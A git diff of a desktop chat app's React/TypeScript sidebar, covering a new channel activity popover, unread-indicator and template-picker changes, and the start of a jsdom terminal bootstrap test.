+        className="h-9 w-9 shrink-0"
+        displayName={name}
+        size="md"
+      />
+      <div className="min-w-0 flex-1">
+        <div className="flex min-w-0 items-start gap-2">
+          <span className="min-w-0 flex-1 truncate text-sm font-semibold leading-4 text-foreground">
+            {name}
+          </span>
+          <span className="shrink-0 text-xs leading-4 text-muted-foreground/70">
+            {elapsed}
+          </span>
+        </div>
+        <span className="mt-0.5 flex items-center gap-1.5 text-xs leading-4 text-muted-foreground">
+          <Loader2 className="h-3.5 w-3.5 animate-spin text-primary/70" />
+          Working
+        </span>
+      </div>
+    </button>
+  );
+}
+
+function WorkingAgentRows({
+  activeWorking,
+  channelId,
+  onOpen,
+  profiles,
+}: {
+  activeWorking: ActiveChannelTurnSummary;
+  channelId: string;
+  onOpen: (pubkey: string, channelId: string) => void;
+  profiles?: UserProfileLookup;
+}) {
+  const now = useNow(1000);
+  const elapsed = formatElapsed(now - activeWorking.anchorAt);
+  const alignedAgentNames =
+    activeWorking.agentNames?.length === activeWorking.agentPubkeys.length
+      ? activeWorking.agentNames
+      : null;
+
+  return activeWorking.agentPubkeys.map((pubkey, index) => {
+    const profile = profiles?.[normalizePubkey(pubkey)];
+    const name =
+      profile?.displayName?.trim() ||
+      alignedAgentNames?.[index] ||
+      `Agent ${truncatePubkey(pubkey)}`;
+    return (
+      <WorkingAgentRow
+        avatarUrl={profile?.avatarUrl ?? null}
+        elapsed={elapsed}
+        key={pubkey}
+        name={name}
+        onOpen={() => onOpen(pubkey, channelId)}
+        pubkey={pubkey}
+      />
+    );
+  });
+}
+
+export function ChannelActivityPopover({
+  activeWorking,
+  channel,
+  children,
+}: {
+  activeWorking?: ActiveChannelTurnSummary;
+  channel: Channel;
+  children: React.ReactNode;
+}) {
+  const [open, setOpen] = React.useState(false);
+  const hoverTimerRef = React.useRef<ReturnType<typeof setTimeout> | null>(
+    null,
+  );
+  const {
+    clearChannelUnreadSource,
+    getChannelActivityItemReadAt,
+    locallyUnreadFeedItems,
+    markMessageRead,
+    markThreadRead,
+    unreadThreadFeedItems,
+    feedItemState,
+  } = useAppShell();
+  const { undoUnread } = feedItemState;
+  const identityQuery = useIdentityQuery();
+  const { goChannel } = useAppNavigation();
+  const { openAgentActivity } = useOpenAgentActivity();
+  const { openReminder } = useRemindLater();
+
+  const unreadChannelFeedItems = React.useMemo(() => {
+    return unreadThreadFeedItems.filter(
+      (item) => item.channelId === channel.id,
+    );
+  }, [channel.id, unreadThreadFeedItems]);
+  const profilePubkeys = React.useMemo(
+    () => [
+      ...new Set([
+        ...unreadChannelFeedItems.map((item) => item.pubkey),
+        ...(activeWorking?.agentPubkeys ?? []),
+      ]),
+    ],
+    [activeWorking?.agentPubkeys, unreadChannelFeedItems],
+  );
+  const profilesQuery = useUsersBatchQuery(open ? profilePubkeys : [], {
+    enabled: open,
+  });
+  const profiles = profilesQuery.data?.profiles;
+  const activityReadAtByMessageId = React.useMemo(
+    () =>
+      new Map(
+        unreadChannelFeedItems.map((item) => [
+          item.id,
+          getChannelActivityItemReadAt(item),
+        ]),
+      ),
+    [getChannelActivityItemReadAt, unreadChannelFeedItems],
+  );
+  const activityItems = React.useMemo(() => {
+    if (!open) return [];
+    return buildInboxItems({
+      channels: [channel],
+      currentPubkey: identityQuery.data?.pubkey,
+      feed: buildChannelActivityFeed(unreadChannelFeedItems),
+      getMessageReadAt: (messageId) =>
+        activityReadAtByMessageId.get(messageId) ?? null,
+      profiles,
+    });
+  }, [
+    channel,
+    activityReadAtByMessageId,
+    identityQuery.data?.pubkey,
+    open,
+    profiles,
+    unreadChannelFeedItems,
+  ]);
+  const hasContent =
+    unreadChannelFeedItems.length > 0 ||
+    (activeWorking?.agentPubkeys.length ?? 0) > 0;
+
+  const clearHoverTimer = React.useCallback(() => {
+    if (hoverTimerRef.current !== null) {
+      clearTimeout(hoverTimerRef.current);
+      hoverTimerRef.current = null;
+    }
+  }, []);
+  const openWithDelay = React.useCallback(() => {
+    if (!hasContent) return;
+    clearHoverTimer();
+    hoverTimerRef.current = setTimeout(() => {
+      setOpen(true);
+    }, HOVER_OPEN_DELAY_MS);
+  }, [clearHoverTimer, hasContent]);
+  const openImmediately = React.useCallback(() => {
+    if (!hasContent) return;
+    clearHoverTimer();
+    setOpen(true);
+  }, [clearHoverTimer, hasContent]);
+  const closeWithDelay = React.useCallback(() => {
+    clearHoverTimer();
+    hoverTimerRef.current = setTimeout(() => {
+      setOpen(false);
+    }, HOVER_CLOSE_DELAY_MS);
+  }, [clearHoverTimer]);
+  const keepOpen = React.useCallback(() => {
+    clearHoverTimer();
+  }, [clearHoverTimer]);
+
+  React.useEffect(() => () => clearHoverTimer(), [clearHoverTimer]);
+  React.useEffect(() => {
+    if (!hasContent) {
+      setOpen(false);
+    }
+  }, [hasContent]);
+
+  const clearUnreadOverride = React.useCallback(
+    (item: InboxItem) => {
+      const clearedItemIds = new Set(getGroupedInboxItemIds(item));
+      for (const itemId of clearedItemIds) {
+        undoUnread(itemId);
+      }
+      const channelId = item.item.channelId ?? null;
+      const hasAnotherChannelOverride = locallyUnreadFeedItems.some(
+        (feedItem) =>
+          feedItem.channelId === channelId && !clearedItemIds.has(feedItem.id),
+      );
+      if (channelId && !hasAnotherChannelOverride) {
+        clearChannelUnreadSource(channelId, "inbox");
+      }
+    },
+    [clearChannelUnreadSource, locallyUnreadFeedItems, undoUnread],
+  );
+
+  const handleMarkRead = React.useCallback(
+    (item: InboxItem) => {
+      clearUnreadOverride(item);
+      for (const reply of item.groupItems) {
+        markMessageRead(reply.id, reply.createdAt);
+      }
+      markThreadRead(item.conversationId, item.latestActivityAt);
+    },
+    [clearUnreadOverride, markMessageRead, markThreadRead],
+  );
+
+  if (!hasContent) {
+    return children;
+  }
+
+  return (
+    <Popover onOpenChange={setOpen} open={open}>
+      {/* biome-ignore lint/a11y/noStaticElementInteractions: hover/focus events bubble from the nested channel button while the wrapper keeps the preview interactive. */}
+      <div
+        className="w-full min-w-0"
+        onBlur={closeWithDelay}
+        onContextMenu={() => setOpen(false)}
+        onFocus={openImmediately}
+        onMouseEnter={openWithDelay}
+        onMouseLeave={closeWithDelay}
+      >
+        <PopoverAnchor asChild>{children}</PopoverAnchor>
+      </div>
+      <PopoverContent
+        align="start"
+        className="w-96 overflow-hidden p-0"
+        data-testid={`channel-activity-popover-${channel.name}`}
+        onFocusCapture={keepOpen}
+        onMouseEnter={keepOpen}
+        onMouseLeave={closeWithDelay}
+        onOpenAutoFocus={(event) => event.preventDefault()}
+        side="right"
+        sideOffset={0}
+        style={ACTIVITY_POPOVER_MOTION_STYLE}
+      >
+        <section
+          aria-label="Channel activity"
+          className="flex max-h-96 min-h-0 flex-col overflow-hidden"
+        >
+          <h3
+            className="relative z-20 shrink-0 border-b border-border/70 bg-background/95 px-3 py-2 text-sm font-semibold text-foreground backdrop-blur-md supports-[backdrop-filter]:bg-background/90"
+            data-testid="channel-activity-header"
+          >
+            Channel activity
+          </h3>
+          <div
+            className="buzz-channel-activity-scrollbar min-h-0 overflow-y-auto overscroll-contain"
+            data-testid="channel-activity-scroll"
+          >
+            {activeWorking?.agentPubkeys.length ? (
+              <WorkingAgentRows
+                activeWorking={activeWorking}
+                channelId={channel.id}
+                onOpen={(pubkey, channelId) => {
+                  setOpen(false);
+                  openAgentActivity(pubkey, { channelId });
+                }}
+                profiles={profiles}
+              />
+            ) : null}
+            {activityItems.length > 0
+              ? activityItems.map((item) => (
+                  <ThreadPreviewRow
+                    item={item}
+                    key={item.conversationId}
+                    onMarkRead={() => handleMarkRead(item)}
+                    onOpen={() => {
+                      clearUnreadOverride(item);
+                      setOpen(false);
+                      void goChannel(channel.id, {
+                        messageId: item.id,
+                        threadRootId: item.conversationId,
+                      });
+                    }}
+                    onRemindLater={() => {
+                      setOpen(false);
+                      openReminder({
+                        authorPubkey: item.item.pubkey,
+                        channelId: channel.id,
+                        eventId: item.id,
+                        preview: item.preview.slice(0, 100),
+                      });
+                    }}
+                  />
+                ))
+              : null}
+          </div>
+        </section>
+      </PopoverContent>
+    </Popover>
+  );
+}
diff --git a/desktop/src/features/sidebar/ui/ChannelContextMenu.tsx b/desktop/src/features/sidebar/ui/ChannelContextMenu.tsx
index 76cae3ed38..78f3929f19 100644
--- a/desktop/src/features/sidebar/ui/ChannelContextMenu.tsx
+++ b/desktop/src/features/sidebar/ui/ChannelContextMenu.tsx
@@ -15,6 +15,7 @@ import {
   TriangleAlert,
 } from "lucide-react";
 
+import { useAppShell } from "@/app/AppShellContext";
 import {
   useArchiveChannelMutation,
   useChannelMembersQuery,
@@ -178,6 +179,22 @@ export function ChannelContextMenuItems({
   onDeleteChannel?: (channel: Channel) => void;
   onLeaveChannel?: (channel: Channel) => void;
 }) {
+  const {
+    feedItemState,
+    hasSidebarUnreadProjections,
+    locallyUnreadFeedItems,
+    unreadThreadChannelIds,
+  } = useAppShell();
+  const channelUnreadOverrideIds = locallyUnreadFeedItems.flatMap((item) =>
+    item.channelId === channel.id && feedItemState.unreadSet.has(item.id)
+      ? [item.id]
+      : [],
+  );
+  const hasProjectedUnread =
+    hasUnread ||
+    (channel.channelType !== "dm" &&
+      hasSidebarUnreadProjections &&
+      unreadThreadChannelIds.has(channel.id));
   const canLoadOwnerActions =
     channel.channelType !== "dm" && Boolean(onDeleteChannel);
   const membersQuery = useChannelMembersQuery(channel.id, canLoadOwnerActions);
@@ -204,7 +221,7 @@ export function ChannelContextMenuItems({
       canDeleteChannel,
   );
   const showStar = Boolean(onStarChannel && onUnstarChannel);
-  const showReadToggle = hasUnread
+  const showReadToggle = hasProjectedUnread
     ? Boolean(onMarkChannelRead)
     : Boolean(onMarkChannelUnread);
   const showMuteToggle = Boolean(onMuteChannel && onUnmuteChannel);
@@ -230,12 +247,15 @@ export function ChannelContextMenuItems({
         />
       ) : null}
       {showReadToggle ? <ContextMenuSeparator /> : null}
-      {hasUnread && onMarkChannelRead ? (
+      {hasProjectedUnread && onMarkChannelRead ? (
         <ContextMenuItem
           onSelect={() =>
-            deferMenuAction(() =>
-              onMarkChannelRead(channel.id, channel.lastMessageAt),
-            )
+            deferMenuAction(() => {
+              for (const itemId of channelUnreadOverrideIds) {
+                feedItemState.undoUnread(itemId);
+              }
+              onMarkChannelRead(channel.id, channel.lastMessageAt);
+            })
           }
         >
           <ContextMenuIconSlot>
@@ -243,7 +263,7 @@ export function ChannelContextMenuItems({
           </ContextMenuIconSlot>
           <span>Mark as read</span>
         </ContextMenuItem>
-      ) : !hasUnread && onMarkChannelUnread ? (
+      ) : !hasProjectedUnread && onMarkChannelUnread ? (
         <ContextMenuItem
           onSelect={() =>
             deferMenuAction(() => onMarkChannelUnread(channel.id))
diff --git a/desktop/src/features/sidebar/ui/CommunityRail.tsx b/desktop/src/features/sidebar/ui/CommunityRail.tsx
index 386ee20691..a572bb8eb6 100644
--- a/desktop/src/features/sidebar/ui/CommunityRail.tsx
+++ b/desktop/src/features/sidebar/ui/CommunityRail.tsx
@@ -48,7 +48,6 @@ type CommunityRailProps = {
     id: string,
     updates: Partial<Pick<Community, "name" | "relayUrl" | "token">>,
   ) => void;
-  onRemoveCommunity: (id: string) => void;
   onReorderCommunities: (orderedIds: string[]) => void;
 };
 
@@ -107,7 +106,7 @@ function CommunityButton({
   dragAttributes?: React.HTMLAttributes<HTMLElement>;
   isDragging?: boolean;
 }) {
-  const { mentionCount, showBadge, showDot, pending, badgeLabel } =
+  const { mentionCount, showBadge, showDot, badgeLabel } =
     communityRailIndicators(unread);
 
   const tooltipLabel = showBadge
@@ -136,11 +135,8 @@ function CommunityButton({
             >
               <span
                 className={cn(
-                  "flex h-9 w-9 items-center justify-center overflow-hidden rounded-2xl text-xs font-semibold transition-all",
-                  isActive
-                    ? "rounded-xl bg-primary text-primary-foreground"
-                    : "bg-sidebar-accent/60 text-sidebar-foreground/80 hover:rounded-xl hover:bg-primary/80 hover:text-primary-foreground",
-                  pending && !isActive && "opacity-60",
+                  "flex h-9 w-9 items-center justify-center overflow-hidden rounded-xl bg-sidebar-accent/60 text-xs font-semibold text-sidebar-foreground/80 outline-2 outline-offset-2 outline-primary/0 transition-[outline-color]",
+                  isActive ? "outline-primary" : "hover:outline-primary/50",
                 )}
               >
                 {iconUrl ? (
@@ -173,7 +169,9 @@ function CommunityButton({
             </button>
           </ContextMenuTrigger>
         </TooltipTrigger>
-        <TooltipContent side="right">{tooltipLabel}</TooltipContent>
+        <TooltipContent side="right" sideOffset={8}>
+          {tooltipLabel}
+        </TooltipContent>
       </Tooltip>
       <ContextMenuContent data-testid={`community-rail-menu-${community.id}`}>
         {menu}
@@ -305,7 +303,6 @@ export function CommunityRail({
   onSwitchCommunity,
   onAddCommunity,
   onUpdateCommunity,
-  onRemoveCommunity,
   onReorderCommunities,
 }: CommunityRailProps) {
   const { unreadByCommunity, markCommunityRead } = useCommunityUnread(
@@ -370,7 +367,7 @@ export function CommunityRail({
   return (
     <nav
       aria-label="Communities"
-      className="relative z-20 flex w-14 shrink-0 flex-col items-center gap-2 overflow-y-auto bg-sidebar px-2.5 pb-5 pt-[calc(var(--buzz-top-chrome-height,40px)+7px)]"
+      className="relative z-0 flex w-14 shrink-0 flex-col items-center gap-2.5 overflow-y-auto bg-sidebar px-2.5 pb-5 pt-[calc(var(--buzz-top-chrome-height,40px)+7px)]"
       data-testid="community-rail"
     >
       <DndContext
@@ -420,14 +417,14 @@ export function CommunityRail({
             <Plus className="h-4 w-4" />
           </button>
         </TooltipTrigger>
-        <TooltipContent side="right">Add community</TooltipContent>
+        <TooltipContent side="right" sideOffset={8}>
+          Add community
+        </TooltipContent>
       </Tooltip>
       <EditCommunityDialog
-        canRemove={communities.length > 1}
         onOpenChange={(open) => {
           if (!open) setEditingCommunity(null);
         }}
-        onRemove={onRemoveCommunity}
         onSave={onUpdateCommunity}
         open={editingCommunity !== null}
         community={editingCommunity}
diff --git a/desktop/src/features/sidebar/ui/CreateChannelFormFields.tsx b/desktop/src/features/sidebar/ui/CreateChannelFormFields.tsx
index 5fadf2a10a..01f5af478e 100644
--- a/desktop/src/features/sidebar/ui/CreateChannelFormFields.tsx
+++ b/desktop/src/features/sidebar/ui/CreateChannelFormFields.tsx
@@ -1,13 +1,16 @@
-import { ChevronDown } from "lucide-react";
+import { ChevronDown, Plus } from "lucide-react";
+import * as React from "react";
 
-import type { ChannelTemplate } from "@/shared/api/types";
+import { TemplateFormDialog } from "@/features/settings/ui/ChannelTemplatesSettingsCard";
 import { cn } from "@/shared/lib/cn";
 import { Button } from "@/shared/ui/button";
 import {
   DropdownMenu,
   DropdownMenuContent,
+  DropdownMenuItem,
   DropdownMenuRadioGroup,
   DropdownMenuRadioItem,
+  DropdownMenuSeparator,
   DropdownMenuTrigger,
 } from "@/shared/ui/dropdown-menu";
 import { Input } from "@/shared/ui/input";
@@ -39,9 +42,27 @@ export function CreateChannelFormFields({
   form: CreateChannelFormState;
 }) {
   const { channelKind, kindLabel, isCreating } = form;
+  const [isCreateTemplateOpen, setIsCreateTemplateOpen] = React.useState(false);
   const selectedTemplate = form.templates.find(
     (template) => template.id === form.selectedTemplateId,
   );
+  const selectedTemplatePersonaCount =
+    selectedTemplate?.agents.personas.length ?? 0;
+  const selectedTemplateTeamCount = selectedTemplate?.agents.teams.length ?? 0;
+  const selectedTemplateSummary = selectedTemplate
+    ? [
+        form.visibility === "private" ? "Private" : "Open",
+        selectedTemplate.canvasTemplate ? "Canvas included" : null,
+        selectedTemplatePersonaCount > 0
+          ? `${selectedTemplatePersonaCount} ${selectedTemplatePersonaCount === 1 ? "agent" : "agents"}`
+          : null,
+        selectedTemplateTeamCount > 0
+          ? `${selectedTemplateTeamCount} ${selectedTemplateTeamCount === 1 ? "team" : "teams"}`
+          : null,
+      ]
+        .filter(Boolean)
+        .join(" · ")
+    : null;
 
   return (
     <div className="space-y-5">
@@ -107,6 +128,7 @@ export function CreateChannelFormFields({
 
       <ChannelTypeSettings
         disabled={isCreating}
+        label="Type"
         onOpenChange={form.setTypePopoverOpen}
         onTemporaryChange={form.setEphemeral}
         onTtlSecondsChange={form.setTtlSeconds}
@@ -116,63 +138,6 @@ export function CreateChannelFormFields({
         ttlSeconds={form.ttlSeconds}
       />
 
-      {form.templates.length > 0 ? (
-        <div
-          className={cn(
-            "flex min-h-12 items-center justify-between gap-4 rounded-xl border border-input bg-background px-3 py-3",
-            isCreating && "opacity-50",
-          )}
-        >
-          <span className="text-sm font-medium text-foreground">
-            Template
-            <span className={CREATE_LABEL_OPTIONAL_CLASS}>Optional</span>
-          </span>
-          <DropdownMenu modal={false}>
-            <DropdownMenuTrigger asChild>
-              <Button
-                aria-label={`Template: ${selectedTemplate?.name ?? "No template"}`}
-                className="-mr-2.5 ml-auto h-9 min-w-0 max-w-[60%] justify-end px-2.5 text-right text-sm font-medium text-foreground hover:bg-muted/50"
-                data-testid="create-channel-template"
-                disabled={isCreating}
-                id="create-channel-template"
-                type="button"
-                variant="ghost"
-              >
-                <span className="truncate text-right">
-                  {selectedTemplate?.name ?? "No template"}
-                </span>
-                <ChevronDown className="size-4 shrink-0 text-muted-foreground/70" />
-              </Button>
-            </DropdownMenuTrigger>
-            <DropdownMenuContent
-              align="end"
-              onCloseAutoFocus={(event) => event.preventDefault()}
-              style={{
-                minWidth: "var(--radix-dropdown-menu-trigger-width)",
-              }}
-            >
-              <DropdownMenuRadioGroup
-                onValueChange={(templateId) =>
-                  form.handleTemplateChange(
-                    templateId === NO_TEMPLATE_VALUE ? "" : templateId,
-                  )
-                }
-                value={form.selectedTemplateId ?? NO_TEMPLATE_VALUE}
-              >
-                <DropdownMenuRadioItem value={NO_TEMPLATE_VALUE}>
-                  No template
-                </DropdownMenuRadioItem>
-                {form.templates.map((template: ChannelTemplate) => (
-                  <DropdownMenuRadioItem key={template.id} value={template.id}>
-                    {template.name}
-                  </DropdownMenuRadioItem>
-                ))}
-              </DropdownMenuRadioGroup>
-            </DropdownMenuContent>
-          </DropdownMenu>
-        </div>
-      ) : null}
-
       <ChannelPermissionsSettings
         disabled={isCreating}
         onVisibilityChange={form.setVisibility}
@@ -180,6 +145,81 @@ export function CreateChannelFormFields({
         visibility={form.visibility}
       />
 
+      <div
+        className={cn(
+          "flex min-h-12 items-center justify-between gap-4 rounded-xl border border-input bg-background px-3 py-3",
+          isCreating && "opacity-50",
+        )}
+        data-testid="create-channel-template-container"
+      >
+        <span className="text-sm font-medium text-foreground">
+          Template
+          <span className={CREATE_LABEL_OPTIONAL_CLASS}>Optional</span>
+        </span>
+        <DropdownMenu modal={false}>
+          <DropdownMenuTrigger asChild>
+            <Button
+              aria-label={`Template: ${selectedTemplate?.name ?? "None"}`}
+              className="-mr-2.5 ml-auto h-9 min-w-0 max-w-[60%] justify-end px-2.5 text-right text-sm font-medium text-foreground hover:bg-muted/50"
+              data-testid="create-channel-template"
+              disabled={isCreating}
+              id="create-channel-template"
+              type="button"
+              variant="ghost"
+            >
+              <span className="truncate text-right">
+                {selectedTemplate?.name ?? "None"}
+              </span>
+              <ChevronDown className="size-4 shrink-0 text-muted-foreground/70" />
+            </Button>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent
+            align="end"
+            onCloseAutoFocus={(event) => event.preventDefault()}
+            style={{
+              minWidth: "var(--radix-dropdown-menu-trigger-width)",
+            }}
+          >
+            <DropdownMenuRadioGroup
+              onValueChange={(templateId) =>
+                form.handleTemplateChange(
+                  templateId === NO_TEMPLATE_VALUE ? "" : templateId,
+                )
+              }
+              value={form.selectedTemplateId ?? NO_TEMPLATE_VALUE}
+            >
+              <DropdownMenuRadioItem value={NO_TEMPLATE_VALUE}>
+                None
+              </DropdownMenuRadioItem>
+              {form.templates.map((template) => (
+                <DropdownMenuRadioItem key={template.id} value={template.id}>
+                  {template.name}
+                </DropdownMenuRadioItem>
+              ))}
+            </DropdownMenuRadioGroup>
+            <DropdownMenuSeparator />
+            <DropdownMenuItem onSelect={() => setIsCreateTemplateOpen(true)}>
+              <Plus className="size-4" />
+              Create new channel template…
+            </DropdownMenuItem>
+          </DropdownMenuContent>
+        </DropdownMenu>
+        <TemplateFormDialog
+          onCreated={form.handleTemplateCreated}
+          onOpenChange={setIsCreateTemplateOpen}
+          open={isCreateTemplateOpen}
+          template={null}
+        />
+      </div>
+      {selectedTemplateSummary ? (
+        <p
+          className="-mt-3 px-3 text-xs text-muted-foreground"
+          data-testid="create-channel-template-summary"
+        >
+          {selectedTemplateSummary}
+        </p>
+      ) : null}
+
       {form.errorMessage ? (
         <p className="text-sm text-destructive">{form.errorMessage}</p>
       ) : null}
diff --git a/desktop/src/features/sidebar/ui/MoreUnreadButton.tsx b/desktop/src/features/sidebar/ui/MoreUnreadButton.tsx
index 998974eba5..cf7dfa7d02 100644
--- a/desktop/src/features/sidebar/ui/MoreUnreadButton.tsx
+++ b/desktop/src/features/sidebar/ui/MoreUnreadButton.tsx
@@ -4,12 +4,14 @@ import { UnreadPill, unreadCountLabel } from "@/shared/ui/UnreadPill";
 export function MoreUnreadButton({
   bottomClassName = "bottom-0",
   count,
+  label,
   onClick,
   position,
   testId,
 }: {
   bottomClassName?: string;
   count: number;
+  label?: string;
   onClick: () => void;
   position: "top" | "bottom";
   testId: string;
@@ -23,7 +25,8 @@ export function MoreUnreadButton({
     >
       <UnreadPill
         direction={position === "top" ? "up" : "down"}
-        label={unreadCountLabel(count)}
+        emphasis="primary"
+        label={label ?? unreadCountLabel(count)}
         onClick={onClick}
         testId={testId}
       />
diff --git a/desktop/src/features/sidebar/ui/SidebarProfileCard.tsx b/desktop/src/features/sidebar/ui/SidebarProfileCard.tsx
index 9c6ba0f9b6..80ced6570e 100644
--- a/desktop/src/features/sidebar/ui/SidebarProfileCard.tsx
+++ b/desktop/src/features/sidebar/ui/SidebarProfileCard.tsx
@@ -10,6 +10,7 @@ import {
 } from "@/features/profile/ui/MaskedAvatarBadgeFrame";
 import { ProfilePopover } from "@/features/profile/ui/ProfilePopover";
 import { StatusEmoji } from "@/features/user-status/ui/StatusEmoji";
+import type { LeaveCommunityResult } from "@/features/communities/leaveCommunity";
 import type { Community } from "@/features/communities/types";
 import { CommunitySwitcher } from "@/features/communities/ui/CommunitySwitcher";
 import { useMyRelayMembershipLookupQuery } from "@/features/community-members/hooks";
@@ -22,7 +23,7 @@ type SidebarProfileCardProps = {
   isPresencePending?: boolean;
   onOpenAddCommunity: () => void;
   onOpenSettings: (section?: SettingsSection) => void;
-  onRemoveCommunity: (id: string) => void;
+  onRemoveCommunity: (id: string) => Promise<LeaveCommunityResult | undefined>;
   onSendFeedback?: () => void;
   onSetPresenceStatus?: (status: PresenceStatus) => void;
   onSetUserStatus: (text: string, emoji: string) => void;
diff --git a/desktop/src/features/sidebar/ui/SidebarSection.tsx b/desktop/src/features/sidebar/ui/SidebarSection.tsx
index 3e39c60a6d..56e12146b9 100644
--- a/desktop/src/features/sidebar/ui/SidebarSection.tsx
+++ b/desktop/src/features/sidebar/ui/SidebarSection.tsx
@@ -36,6 +36,8 @@ import {
   SidebarMenuButton,
   SidebarMenuItem,
 } from "@/shared/ui/sidebar";
+import { ChannelActivityPopover } from "@/features/sidebar/ui/ChannelActivityPopover";
+import { useAppShell } from "@/app/AppShellContext";
 
 const SECTION_LABEL_BUTTON_CLASS =
   "group/section-label flex w-fit max-w-[calc(100%-3rem)] cursor-pointer appearance-none items-center gap-1 text-left transition-colors hover:text-sidebar-foreground focus-visible:text-sidebar-foreground";
@@ -138,7 +140,8 @@ function ChannelWorkingBadge({
   return (
     <span
       className={cn(
-        "hidden max-w-32 shrink-0 truncate rounded-full px-1.5 py-0.5 text-2xs font-medium leading-none tabular-nums motion-safe:animate-pulse group-data-[collapsible=icon]:hidden sm:inline-flex",
+        "max-w-32 shrink-0 truncate rounded-full px-1.5 py-0.5 text-2xs font-medium leading-none tabular-nums motion-safe:animate-pulse group-data-[collapsible=icon]:hidden",
+        "hidden sm:inline-flex",
         isActive
           ? "bg-sidebar-active-foreground/20 text-sidebar-active-foreground"
           : "bg-primary/10 text-primary",
@@ -211,10 +214,12 @@ function DmChannelIcon({
 
 function SidebarChannelIcon({
   channel,
+  className,
   dmParticipants,
   presenceStatus,
 }: {
   channel: Channel;
+  className?: string;
   dmParticipants?: SidebarDmParticipant[];
   presenceStatus?: PresenceStatus;
 }) {
@@ -235,14 +240,14 @@ function SidebarChannelIcon({
   }
 
   if (channel.visibility === "private") {
-    return <Lock className="h-4 w-4" />;
+    return <Lock className={cn("h-4 w-4", className)} />;
   }
 
   if (channel.channelType === "forum") {
-    return <FileText className="h-4 w-4" />;
+    return <FileText className={cn("h-4 w-4", className)} />;
   }
 
-  return <Hash className="h-4 w-4" />;
+  return <Hash className={cn("h-4 w-4", className)} />;
 }
 
 export function ChannelMenuButton({
@@ -250,7 +255,6 @@ export function ChannelMenuButton({
   label,
   isActive,
   hasUnread,
-  unreadCount = 0,
   activeWorking,
   isMuted,
   dmParticipants,
@@ -270,17 +274,40 @@ export function ChannelMenuButton({
 }) {
   const resolvedLabel = label ?? channel.name;
   const ephemeralDisplay = getEphemeralChannelDisplay(channel);
+  const {
+    hasSidebarUnreadProjections,
+    topLevelUnreadChannelIds,
+    unreadThreadChannelIds,
+  } = useAppShell();
+  const hasTopLevelUnread =
+    channel.channelType === "dm"
+      ? hasUnread
+      : hasSidebarUnreadProjections
+        ? topLevelUnreadChannelIds.has(channel.id)
+        : hasUnread;
+  const hasThreadUnread =
+    channel.channelType !== "dm" &&
+    (hasSidebarUnreadProjections
+      ? unreadThreadChannelIds.has(channel.id)
+      : hasUnread);
+  const inactiveContentOpacity = cn(
+    !isActive && !hasTopLevelUnread && !isMuted && "opacity-80",
+    !isActive &&
+      isMuted &&
+      !hasTopLevelUnread &&
+      !hasThreadUnread &&
+      "opacity-50 dark:opacity-45",
+  );
 
-  return (
+  const button = (
     <SidebarMenuButton
       className={cn(
+        "data-[active=true]:font-normal",
         isActive
           ? "group-hover/menu-item:bg-sidebar-active group-hover/menu-item:text-sidebar-active-foreground"
-          : "group-hover/menu-item:bg-sidebar-accent group-hover/menu-item:text-sidebar-accent-foreground",
-        !isActive &&
-          hasUnread &&
-          "font-semibold text-sidebar-foreground hover:text-sidebar-foreground",
-        !isActive && isMuted && !hasUnread && "opacity-50",
+          : "group-hover/menu-item:bg-sidebar-accent group-hover/menu-item:text-sidebar-foreground",
+        hasTopLevelUnread &&
+          "font-bold text-sidebar-foreground hover:text-sidebar-foreground data-[active=true]:font-bold",
       )}
       data-channel-id={channel.id}
       data-testid={`channel-${channel.name}`}
@@ -291,10 +318,16 @@ export function ChannelMenuButton({
     >
       <SidebarChannelIcon
         channel={channel}
+        className={
+          channel.channelType === "dm" ? undefined : inactiveContentOpacity
+        }
         dmParticipants={dmParticipants}
         presenceStatus={presenceStatus}
       />
-      <span className="min-w-0 flex-1 truncate" data-sidebar-row-label>
+      <span
+        className={cn("min-w-0 flex-1 truncate", inactiveContentOpacity)}
+        data-sidebar-row-label
+      >
         {resolvedLabel}
       </span>
       {ephemeralDisplay ? (
@@ -321,19 +354,21 @@ export function ChannelMenuButton({
           )}
         />
       ) : null}
-      {hasUnread && !isActive && channel.channelType !== "dm" ? (
-        unreadCount > 0 ? (
-          <UnreadCountBadge
-            channelName={channel.name}
-            className="ml-auto"
-            count={unreadCount}
-          />
-        ) : (
-          <UnreadDotBadge channelName={channel.name} className="ml-auto" />
-        )
+      {hasThreadUnread ? (
+        <UnreadDotBadge channelName={channel.name} className="ml-auto" />
       ) : null}
     </SidebarMenuButton>
   );
+
+  if (!activeWorking && !hasThreadUnread) {
+    return button;
+  }
+
+  return (
+    <ChannelActivityPopover activeWorking={activeWorking} channel={channel}>
+      {button}
+    </ChannelActivityPopover>
+  );
 }
 
 export function SidebarSection({
diff --git a/desktop/src/features/terminal/TerminalBootstrap.test.mjs b/desktop/src/features/terminal/TerminalBootstrap.test.mjs
new file mode 100644
index 0000000000..5cc7c48e85
--- /dev/null
+++ b/desktop/src/features/terminal/TerminalBootstrap.test.mjs
@@ -0,0 +1,655 @@
+import assert from "node:assert/strict";
+import { after, afterEach, before, beforeEach, test } from "node:test";
+
+import { JSDOM } from "jsdom";
+import { setTerminalPanelMode } from "./terminalPanelStore.ts";
+
+// `pretendToBeVisual` is what gives jsdom requestAnimationFrame. The banner's
+// animation loop needs it; without it the loop silently never runs and every
+// paint assertion below reads as a rendering failure.
+const dom = new JSDOM("<!doctype html><html><body></body></html>", {
+  pretendToBeVisual: true,
+  url: "http://localhost",
+});
+const callbacks = new Map();
+const calls = [];
+let nextCallback = 1;
+let channel;
+let resizeCallback;
+let canvasWidth = 840;
+let attachResolver = null;
+let deferResizes = false;
+let deferClose = false;
+let closeResolver = null;
+const pendingResizes = [];
+
+before(async () => {
+  Object.assign(globalThis, {
+    document: dom.window.document,
+    HTMLElement: dom.window.HTMLElement,
+    HTMLCanvasElement: dom.window.HTMLCanvasElement,
+    KeyboardEvent: dom.window.KeyboardEvent,
+    IS_REACT_ACT_ENVIRONMENT: true,
+    isTauri: true,
+    window: dom.window,
+  });
+  dom.window.localStorage.setItem("buzz-follow-system", "false");
+  dom.window.isTauri = true;
+  dom.window.matchMedia = () => ({
+    // This suite exercises bootstrap/IPC behavior, not banner motion. Keeping
+    // animation disabled avoids competing perpetual rAF loops under the full
+    // parallel test runner; motion itself is covered by TerminalSubstrate.
+    matches: true,
+    addEventListener() {},
+    removeEventListener() {},
+  });
+  dom.window.ResizeObserver = class {
+    constructor(callback) {
+      resizeCallback = callback;
+    }
+    observe() {}
+    disconnect() {}
+  };
+  dom.window.HTMLElement.prototype.animate = () => ({
+    cancel() {},
+    currentTime: 0,
+    finished: new Promise(() => {}),
+    play() {},
+    playbackRate: 1,
+    reverse() {},
